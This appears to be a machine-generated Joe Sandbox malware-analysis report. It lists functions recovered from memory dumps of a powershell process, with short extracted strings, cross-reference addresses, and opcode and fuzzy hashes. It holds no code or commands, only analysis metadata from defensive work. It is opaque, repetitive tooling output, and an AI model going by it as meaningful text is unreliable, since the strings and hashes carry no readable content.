Instruction Fuzzy Hash: 95511A70E15228CFEB44DFA9D448BEDBBF2FB49301F54902AD489A7290DB749D46CB40

Function 073D8198 Relevance: 22.8, Strings: 18, Instructions: 346COMMON

Download Yara Rule

Strings

4ll, xrefs: 073D8535
$fq, xrefs: 073D82A7
$fq, xrefs: 073D831C
<,ck, xrefs: 073D85AF
$fq, xrefs: 073D84A1
$fq, xrefs: 073D82B7
tPfq, xrefs: 073D84EC
$fq, xrefs: 073D823E
4ll, xrefs: 073D8543
4'fq, xrefs: 073D85EA
4'fq, xrefs: 073D85DE
$fq, xrefs: 073D830C
$fq, xrefs: 073D8280
Xbml, xrefs: 073D8488
4'fq, xrefs: 073D8366
Xbml, xrefs: 073D8492
tPfq, xrefs: 073D84F8
4'fq, xrefs: 073D835A

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4ll$4ll$<,ck$Xbml$Xbml$tPfq$tPfq$$fq$$fq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-1206968258
Opcode ID: a6a0d350a02c78a6c20442ab9e98994d8729ff5e624f76c1d3ff8cbafc413bac
Instruction ID: 676c7a72b208f94b2adda6a9bcaa0d7366e42d2322b214be33d68c5628488c67
Opcode Fuzzy Hash: a6a0d350a02c78a6c20442ab9e98994d8729ff5e624f76c1d3ff8cbafc413bac
Instruction Fuzzy Hash: 32C119F2B0020ADFEB248E68E4457EB77A6BF45310F148466E50D8B690DB71ED41C751

Function 073DDFA1 Relevance: 16.4, Strings: 13, Instructions: 192COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073DE043
TQkq, xrefs: 073DE151
4'fq, xrefs: 073DE037
tPfq, xrefs: 073DE089
tPfq, xrefs: 073DE095
4'fq, xrefs: 073DE102
TQkq, xrefs: 073DE141
4'fq, xrefs: 073DE0F2
4'fq, xrefs: 073DE17D
TQkq, xrefs: 073DDFDD
84ml, xrefs: 073DE01E
84ml, xrefs: 073DE028
4'fq, xrefs: 073DE171

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$84ml$84ml$TQkq$TQkq$TQkq$tPfq$tPfq
API String ID: 0-3993767156
Opcode ID: e7a5ddd7beb1041e9ebeb7b636237baf30881e674cf176af385cffc983653faa
Instruction ID: 9e746e0a425e1d9a889f44fc1d266007ec8f8c16fd5635aa6e7ab485e42d9a7e
Opcode Fuzzy Hash: e7a5ddd7beb1041e9ebeb7b636237baf30881e674cf176af385cffc983653faa
Instruction Fuzzy Hash: E261E7F2B4010ADFEB249FA9D4416AEBFB6BF85310F14849AE4195F681CB31DD41CB62

Function 073DB8D8 Relevance: 10.2, Strings: 8, Instructions: 225COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073DB9FB
4'fq, xrefs: 073DB9EF
Lol, xrefs: 073DB92F
$fq, xrefs: 073DB94B
Lol, xrefs: 073DB9C6
$fq, xrefs: 073DB970
Lol, xrefs: 073DB9BA
$fq, xrefs: 073DB97E

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq$$fq$Lol$Lol$Lol
API String ID: 0-1349363526
Opcode ID: d0c99518fa21cdc8165093d91e749f0b8de32d2bca0311b148be08e088d7cf14
Instruction ID: 91e236acfe3dacaf99a47ac20bf5c1b79828671560122390f486b99565f10501
Opcode Fuzzy Hash: d0c99518fa21cdc8165093d91e749f0b8de32d2bca0311b148be08e088d7cf14
Instruction Fuzzy Hash: 9B6136F7B002468BEB259E6AA45066BFBE7AFC5210B25807BD549CB781DF31CC41C7A1

Function 073D7350 Relevance: 10.2, Strings: 8, Instructions: 171COMMON

Download Yara Rule

Strings

$fq, xrefs: 073D7464
$fq, xrefs: 073D7426
$fq, xrefs: 073D7442
tPfq, xrefs: 073D7502
$fq, xrefs: 073D75C0
4'fq, xrefs: 073D75F0
$fq, xrefs: 073D7405
84ml, xrefs: 073D74B0

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$84ml$tPfq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-709185668
Opcode ID: dd400895b9770df94f5cde9781f65a8a5bc91a01e237382be163c05aea688665
Instruction ID: 90d5ef7a104c66742330e33d91366747a09398dd9161d44c818379d2cbfe0e39
Opcode Fuzzy Hash: dd400895b9770df94f5cde9781f65a8a5bc91a01e237382be163c05aea688665
Instruction Fuzzy Hash: 0051E2F2610206CFFB25CF19E144BAAB7B6AF45350F18C06AE80D9B690D771DC40CBA2

Function 08162A45 Relevance: 9.2, Strings: 7, Instructions: 488COMMON

Download Yara Rule

Strings

4'fq, xrefs: 08162E86
4'fq, xrefs: 08162E01
x.`k, xrefs: 08163110
Pqfq, xrefs: 08162A7F
4'fq, xrefs: 08162E0D
4'fq, xrefs: 08162E92
-`k, xrefs: 08163161

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$Pqfq$x.`k$-`k
API String ID: 0-2080334652
Opcode ID: 9d1621e61c0e5b8fc88595019c0a8bb5a49d76b035667c6ca889b36531b57ccc
Instruction ID: af6c8f950aaa1a803ee847d0aad0880db4bb128470ec9266de477c97e9664951
Opcode Fuzzy Hash: 9d1621e61c0e5b8fc88595019c0a8bb5a49d76b035667c6ca889b36531b57ccc
Instruction Fuzzy Hash: 12226074A002148FD724DB58C851BAABBB2FF84314F14C4E9E949AF751CB71ED928F91

Function 06D1DB68 Relevance: 7.9, Strings: 6, Instructions: 406COMMON

Download Yara Rule

Strings

(jq, xrefs: 06D1DD32
pjq, xrefs: 06D1DCBF
4'fq, xrefs: 06D1DBEC
4'fq, xrefs: 06D1DCB2
4'fq, xrefs: 06D1DC3A
4'fq, xrefs: 06D1DC1C

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: (jq$4'fq$4'fq$4'fq$4'fq$pjq
API String ID: 0-799542208
Opcode ID: fba008e90cb7436eeead099d57a957f494b274d47ef07a2fb0f7ac39b51ca648
Instruction ID: e232bcbf611d4c5e853e88a860121a18fb4248a53856c4266c38d5715b2ea656
Opcode Fuzzy Hash: fba008e90cb7436eeead099d57a957f494b274d47ef07a2fb0f7ac39b51ca648
Instruction Fuzzy Hash: 82D13C76A001149FCF45CFA8D840E9ABBB2FF88310F054498E609AF272DB71ED56DB90

Function 081677B8 Relevance: 7.8, Strings: 6, Instructions: 341COMMON

Download Yara Rule

Strings

4'fq, xrefs: 08167AC8
4'fq, xrefs: 08167A0E
4'fq, xrefs: 08167AB2
x.`k, xrefs: 08167BBF
4'fq, xrefs: 08167A24
-`k, xrefs: 08167C0D

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$x.`k$-`k
API String ID: 0-2124248366
Opcode ID: aa759bfc2750d7bd673052c0d86a172932c40e5cfeaba0e1e2846efd1fbc2b28
Instruction ID: 28fd7bed6dfe409ca19322aafe74d3df17347600ce99a216013420eac2c65d7a
Opcode Fuzzy Hash: aa759bfc2750d7bd673052c0d86a172932c40e5cfeaba0e1e2846efd1fbc2b28
Instruction Fuzzy Hash: C4E170B0A002159FDB14DF68C994B9AB7B2BF84304F1085E9D609AF795CB71ED82CF58

Function 08168247 Relevance: 7.8, Strings: 6, Instructions: 279COMMON

Download Yara Rule

Strings

4'fq, xrefs: 081684B9
-`k, xrefs: 0816868A
4'fq, xrefs: 08168415
x.`k, xrefs: 0816863C
4'fq, xrefs: 081683FF
4'fq, xrefs: 081684A3

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$x.`k$-`k
API String ID: 0-2124248366
Opcode ID: 902f9cdf63d39a726aa8eb4861b6a1bcd670fde5e72191d74ccc88e610f59fa4
Instruction ID: dc2f934485dfa260e4767246289dcdf568ef3d8d9e9cd67c90e05315596658a7
Opcode Fuzzy Hash: 902f9cdf63d39a726aa8eb4861b6a1bcd670fde5e72191d74ccc88e610f59fa4
Instruction Fuzzy Hash: C3C16FB0A002149FDB54DF18C994B9ABBB6BF84304F1081E9D648AB755CF71EE82CF95

Function 073DF728 Relevance: 6.6, Strings: 5, Instructions: 355COMMON

Download Yara Rule

Strings

$fq, xrefs: 073DF79B
$fq, xrefs: 073DF7C3
4'fq, xrefs: 073DF7DF
4'fq, xrefs: 073DF7EB
$fq, xrefs: 073DF7B7

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq$$fq
API String ID: 0-3759051638
Opcode ID: 5123dbbde3345c578b98b040075dd1d36e99be2c725a54fb8187cbaf8625dfb4
Instruction ID: f7e30b8956ab7154fb83257f51fe45bac6bb60755ff78f81cc0b26a628d9f681
Opcode Fuzzy Hash: 5123dbbde3345c578b98b040075dd1d36e99be2c725a54fb8187cbaf8625dfb4
Instruction Fuzzy Hash: 27C147F3B102079FEB148E68E4806AABBE6AF85314F14807AD52ACB641DB31DC85C791

Function 06D1A940 Relevance: 6.6, Strings: 5, Instructions: 350COMMON

Download Yara Rule

Strings

(jq, xrefs: 06D1AB8E
(jq, xrefs: 06D1AB62
(jq, xrefs: 06D1AA54
(jq, xrefs: 06D1AC89
(jq, xrefs: 06D1AAAB

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: (jq$(jq$(jq$(jq$(jq
API String ID: 0-2984211891
Opcode ID: e0877e3bc683ab7c158812a642fc302f09c62baf1330fe8350bdad9cd4c9adf4
Instruction ID: 497a377cfec6d4c4686b982ae5da27c7b54c36ca6441bdf22a900ba63a6ae632
Opcode Fuzzy Hash: e0877e3bc683ab7c158812a642fc302f09c62baf1330fe8350bdad9cd4c9adf4
Instruction Fuzzy Hash: 29C1F5317046555FDB559F79D890AAE3BA2EFC8711B1885AAE805CF392CE35DC02CBA0

Function 073D8EE8 Relevance: 6.6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

Strings

tPfq, xrefs: 073D8F7F
84ml, xrefs: 073D8F32
tPfq, xrefs: 073D8F8B
84ml, xrefs: 073D8F28
0,ck, xrefs: 073D9264

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 0,ck$84ml$84ml$tPfq$tPfq
API String ID: 0-102023139
Opcode ID: 8d1b516ebc33ba98a4d47d906716e26e7ac9ae2e58a88e5532be69bb850c92f7
Instruction ID: bd020c95c256a83c06f52c0f798aa1a5eaa7c6a54374bf65fc6ee80ba7348392
Opcode Fuzzy Hash: 8d1b516ebc33ba98a4d47d906716e26e7ac9ae2e58a88e5532be69bb850c92f7
Instruction Fuzzy Hash: 18A139F3B102068FEB119E69E4417ABB7E6EF85310F25807AD549CB681DB31EC45C792

Function 073D8798 Relevance: 6.5, Strings: 5, Instructions: 254COMMON

Download Yara Rule

Strings

(ofq, xrefs: 073D88F0
$fq, xrefs: 073D88A5
(ofq, xrefs: 073D88E0
$fq, xrefs: 073D887E
$fq, xrefs: 073D88B5

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$$fq$$fq$$fq
API String ID: 0-4195024393
Opcode ID: 96aec623c27df6717c482e9adc226dfc025949928e59903a2136388246c0a18d
Instruction ID: 344f409740e67adb1a3854d6004f6858d35fbc30588f8f295e5bd5ceaccbc4c1
Opcode Fuzzy Hash: 96aec623c27df6717c482e9adc226dfc025949928e59903a2136388246c0a18d
Instruction Fuzzy Hash: 9F81F5F271020ADFEB148E69E8417EA77A7BF81310F14842AE5598BA90DB31FC55C762

Function 073D8179 Relevance: 6.4, Strings: 5, Instructions: 139COMMON

Download Yara Rule

Strings

$fq, xrefs: 073D823E
$fq, xrefs: 073D830C
$fq, xrefs: 073D82A7
$fq, xrefs: 073D8280
4'fq, xrefs: 073D835A

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$$fq$$fq$$fq$$fq
API String ID: 0-41860393
Opcode ID: 3e2a601ac324aceccbf3c3c0df17b3bf31807c6cb2c9c8048f1576467bfc851b
Instruction ID: 5ae463fe27190a76521b918f14f0d69c0075f669c49d20f56c5b5474033fcc4d
Opcode Fuzzy Hash: 3e2a601ac324aceccbf3c3c0df17b3bf31807c6cb2c9c8048f1576467bfc851b
Instruction Fuzzy Hash: 87518AF661420ADFEB25CE18E5447EA37B5BF41311F1880A6E80C8B590E376FD81CB61

Function 073DEC65 Relevance: 6.4, Strings: 5, Instructions: 124COMMON

Download Yara Rule

Strings

(ofq, xrefs: 073DECA8
(ofq, xrefs: 073DECB4
4'fq, xrefs: 073DEDC9
tPfq, xrefs: 073DEE1F
84ml, xrefs: 073DEDB0

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$4'fq$84ml$tPfq
API String ID: 0-3755626653
Opcode ID: 0496b903cbd198d5af0d01afaaaa1d361bb9362343a74c47a67a198f0e988c5e
Instruction ID: 673459cef6cf5c1d2b8ce5d5c8549903b079098d2423504ae71c0d5bb98e2e15
Opcode Fuzzy Hash: 0496b903cbd198d5af0d01afaaaa1d361bb9362343a74c47a67a198f0e988c5e
Instruction Fuzzy Hash: E741F3B3A40111DFE724CF58A551BABBFB6AF89710F1980A9D5189F291CB31DC41C7A1

Function 073D7608 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

$fq, xrefs: 073D770C
84ml, xrefs: 073D7738
tPfq, xrefs: 073D778F
(ofq, xrefs: 073D764B
(ofq, xrefs: 073D7657

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$84ml$tPfq$$fq
API String ID: 0-2472857586
Opcode ID: 36ece9de252bf208ae22535776dad3fa5ced82cb50b5e44009ecb3e10a24d898
Instruction ID: fed8ead9223002ad26edcfee43ffc4c7ecf1332f9986a01f1b9f8b3a22667646
Opcode Fuzzy Hash: 36ece9de252bf208ae22535776dad3fa5ced82cb50b5e44009ecb3e10a24d898
Instruction Fuzzy Hash: 54416EB3B002059FE7208F98E941B7ABBF6AF85314F25846AD9089F281DB71DD45CB91

Function 073D70E0 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$fq, xrefs: 073D7233
$fq, xrefs: 073D7186
$fq, xrefs: 073D71A7
$fq, xrefs: 073D71CE
4'fq, xrefs: 073D7262

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$$fq$$fq$$fq$$fq
API String ID: 0-41860393
Opcode ID: bdb744a29491074c17889c6eedecadedae3ab19b1b2323a1033bb0d75256701f
Instruction ID: f10055e94de15566091d4f1b412f94a687a0499906163bbf7e53b691328d106b
Opcode Fuzzy Hash: bdb744a29491074c17889c6eedecadedae3ab19b1b2323a1033bb0d75256701f
Instruction Fuzzy Hash: E2416DF261028ADFFF24CE14E5447AA37B9FB42351F148266E81D8B690E774DD80CB91

Function 073DA9C0 Relevance: 6.4, Strings: 5, Instructions: 106COMMON

Download Yara Rule

Strings

$fq, xrefs: 073DAAEC
$fq, xrefs: 073DAA60
4'fq, xrefs: 073DAB2E
$fq, xrefs: 073DAA7C
$fq, xrefs: 073DAA9E

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$$fq$$fq$$fq$$fq
API String ID: 0-41860393
Opcode ID: 4214dc86410c47aa16ec46b37e846720f4990fb5ef43c86dbd12f123865ccb45
Instruction ID: cd0ce7f8c64080e02c44272c7443984bed8e1659e9365be7ac6354a4bf8d00c4
Opcode Fuzzy Hash: 4214dc86410c47aa16ec46b37e846720f4990fb5ef43c86dbd12f123865ccb45
Instruction Fuzzy Hash: C731CEF3604206DFFF248E29E74076A77ABAB41250F08C16AE40D8B650D774DD82CB96

Function 073DB8B4 Relevance: 6.4, Strings: 5, Instructions: 102COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073DB9EF
Lol, xrefs: 073DB92F
$fq, xrefs: 073DB94B
$fq, xrefs: 073DB970
Lol, xrefs: 073DB9BA

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$$fq$$fq$Lol$Lol
API String ID: 0-2136155652
Opcode ID: 2cfe70b584428878ae232ca256b04271fcfa1efde878ed38eeacab4de2fbae44
Instruction ID: e9ea09e716efc3c6cf641e44dd4c143d3b1bd3f43147a739e0f39f413c81b776
Opcode Fuzzy Hash: 2cfe70b584428878ae232ca256b04271fcfa1efde878ed38eeacab4de2fbae44
Instruction Fuzzy Hash: 9C31F0F7A00246CFEB208E21A54166AF7FAEF41210F1A406AC91C8B691DB36CD41CB62

Function 06D1CFE8 Relevance: 5.4, Strings: 4, Instructions: 383COMMON

Download Yara Rule

Strings

(jq, xrefs: 06D1D056
(jq, xrefs: 06D1D02A
Hjq, xrefs: 06D1D3AB
Hjq, xrefs: 06D1D343

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: (jq$(jq$Hjq$Hjq
API String ID: 0-2589730892
Opcode ID: d08afb7f384778c4145f359926ff91897a6f5819f2571ee0417da891b49ca2a3
Instruction ID: 61b057b62d7530a96c5d6d40c06e72ad4042f02735eca1b294f708836e602d3b
Opcode Fuzzy Hash: d08afb7f384778c4145f359926ff91897a6f5819f2571ee0417da891b49ca2a3
Instruction Fuzzy Hash: DAE1E230B045559FCB58EF68D480AAEBBB2FF88310F158569E8059F3A5CB74EC46CB91

Function 08167848 Relevance: 5.2, Strings: 4, Instructions: 230COMMON

Download Yara Rule

Strings

4'fq, xrefs: 08167A0E
4'fq, xrefs: 08167AB2
x.`k, xrefs: 08167BBF
-`k, xrefs: 08167C0D

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$x.`k$-`k
API String ID: 0-771693012
Opcode ID: 11783ff088941dce765e2f17dbd1d86f9700a2db355c96695108cd8e60f715ac
Instruction ID: 9c4670783841ebbffc8e97b30bfae3396e9e709c153761da2a06ccf4a975f0a7
Opcode Fuzzy Hash: 11783ff088941dce765e2f17dbd1d86f9700a2db355c96695108cd8e60f715ac
Instruction Fuzzy Hash: 9FA171B0A402159FD714DF28C944B9EBBB2BF84304F1085E9D6096F795CB71AE82CF98

Function 06D34708 Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

(_fq, xrefs: 06D34E32
(_fq, xrefs: 06D34DFC
(_fq, xrefs: 06D34DBB
(_fq, xrefs: 06D34DC5

Memory Dump Source

Source File: 00000002.00000002.2612750869.0000000006D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d30000_powershell.jbxd

Similarity

API ID:
String ID: (_fq$(_fq$(_fq$(_fq
API String ID: 0-3776797759
Opcode ID: ac14b69f04236e8a1fac1a87469eeb8177d383c200449b89138f1e0ec4404bca
Instruction ID: 7c87f2947242e9a5590aaeda4096104d3d6c396c4fc980ac06b7e821095f0059
Opcode Fuzzy Hash: ac14b69f04236e8a1fac1a87469eeb8177d383c200449b89138f1e0ec4404bca
Instruction Fuzzy Hash: 7771AC74A00215CFCB54AF78D4994AEBBF6FF89300B24896DD4469B361EB36DC46CB90

Function 073DF510 Relevance: 5.2, Strings: 4, Instructions: 189COMMON

Download Yara Rule

Strings

$fq, xrefs: 073DF65C
$fq, xrefs: 073DF612
$fq, xrefs: 073DF668
$fq, xrefs: 073DF62E

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq$$fq$$fq
API String ID: 0-2113499236
Opcode ID: 3fec52748e4ce4a91a209c2c157d2912a71df72366936769246234cb41faa8a4
Instruction ID: cc35a7a7439c159aab0ec9b63380de9fd8455e0c4dc120fe4f636c91b23b672d
Opcode Fuzzy Hash: 3fec52748e4ce4a91a209c2c157d2912a71df72366936769246234cb41faa8a4
Instruction Fuzzy Hash: C3512AF37142078BE7245AB9A880767B7EA9FC5215F24C02AD52ECB691DF36CD418361

Function 08165EEC Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

84ml, xrefs: 08165F1B
84ml, xrefs: 08165F11
tPfq, xrefs: 08165F72
tPfq, xrefs: 08165F66

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 84ml$84ml$tPfq$tPfq
API String ID: 0-3994916716
Opcode ID: 011b92b61f8153f5d13a035c16a8f5c3ea155289e7250b3ddd9d8940b63397a4
Instruction ID: 16c90cbe3860b9f0904265e4bb608ed8e9f6ed1b751be2ca1f60676b9a4417d3
Opcode Fuzzy Hash: 011b92b61f8153f5d13a035c16a8f5c3ea155289e7250b3ddd9d8940b63397a4
Instruction Fuzzy Hash: 2861C130B001049FDB149FADC441AAEBBE7BFC8715F158069EA05AF395CB71EC528BA5

Function 073DFC08 Relevance: 5.2, Strings: 4, Instructions: 170COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073DFD1C
4'fq, xrefs: 073DFD28
rol, xrefs: 073DFC86
rol, xrefs: 073DFC90

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$rol$rol
API String ID: 0-2791739562
Opcode ID: 79b53f7401cc6c392d2f108bfdc46c7ba4883148bda094785d48c87454d07707
Instruction ID: fda24fe2da2abcb18e21f5710c9e26ca22a544dc55c8bd5f6c45923e54638152
Opcode Fuzzy Hash: 79b53f7401cc6c392d2f108bfdc46c7ba4883148bda094785d48c87454d07707
Instruction Fuzzy Hash: DB5128B2B002068FEB14DFA8D4909AABBF5FF85314F14C46AD46E8B255CB31DD42CB91

Function 073DE367 Relevance: 5.1, Strings: 4, Instructions: 130COMMON

Download Yara Rule

Strings

tPfq, xrefs: 073DE4CA
4'fq, xrefs: 073DE58A
4'fq, xrefs: 073DE476
84ml, xrefs: 073DE45D

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$84ml$tPfq
API String ID: 0-1989542842
Opcode ID: f2cacbce35e270ad3e86f280f44e410304a2143a7c60f57b3ba8157dfd01a30f
Instruction ID: 2c19e5060c8d3de1615358bf590eb1b8072c1fd9772ec733024f5a14efdfc326
Opcode Fuzzy Hash: f2cacbce35e270ad3e86f280f44e410304a2143a7c60f57b3ba8157dfd01a30f
Instruction Fuzzy Hash: 4B41C1F2B402119BEB248E58E544B6ABBF7AF84750F18C069E4099F291D772DC41CBA2

Function 073DE35D Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

tPfq, xrefs: 073DE4CA
4'fq, xrefs: 073DE58A
4'fq, xrefs: 073DE476
84ml, xrefs: 073DE45D

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$84ml$tPfq
API String ID: 0-1989542842
Opcode ID: 2841f57a421c7c16436600e930480bb94194a87c37386f638dad3c4a6b07beb7
Instruction ID: 5edf0e197927368a967ca30ba4fa330bd7092e8dbf795d32c112cef97dd5aacf
Opcode Fuzzy Hash: 2841f57a421c7c16436600e930480bb94194a87c37386f638dad3c4a6b07beb7
Instruction Fuzzy Hash: C531E6F2B802119FEB208B68A555B7ABFF7AF85740F18C055D5099F691D732DC01C762

Function 073D0308 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D0373
$fq, xrefs: 073D0352
$fq, xrefs: 073D035E
4'fq, xrefs: 073D037F

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq
API String ID: 0-2206495126
Opcode ID: 8691c41fb7d889aeed0d7056f68b4b1b02e5b70fbde219531c139972c96e18a9
Instruction ID: d96a741ab769850a893a9f8ec865aa14990a548ee080870f375d498b8d050789
Opcode Fuzzy Hash: 8691c41fb7d889aeed0d7056f68b4b1b02e5b70fbde219531c139972c96e18a9
Instruction Fuzzy Hash: F4012BA271D2818FD72E067D58201567F776FC2A04F29409FC040CB692CF564C068797

Function 08164117 Relevance: 5.0, Strings: 4, Instructions: 35COMMON

Download Yara Rule

Strings

4'fq, xrefs: 0816415F
LRfq, xrefs: 0816413C
LRfq, xrefs: 08164148
4'fq, xrefs: 0816416B

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$LRfq$LRfq
API String ID: 0-1175026112
Opcode ID: 65bdc0b72feb1014003261c8dca86a4a2e57f9cdd57f6fc06a9003bf8a27c138
Instruction ID: 2844b9f665d6ea1f86412bf6a180f0592cf559a6d4d6a49e4ab66dfdfbcbb5a1
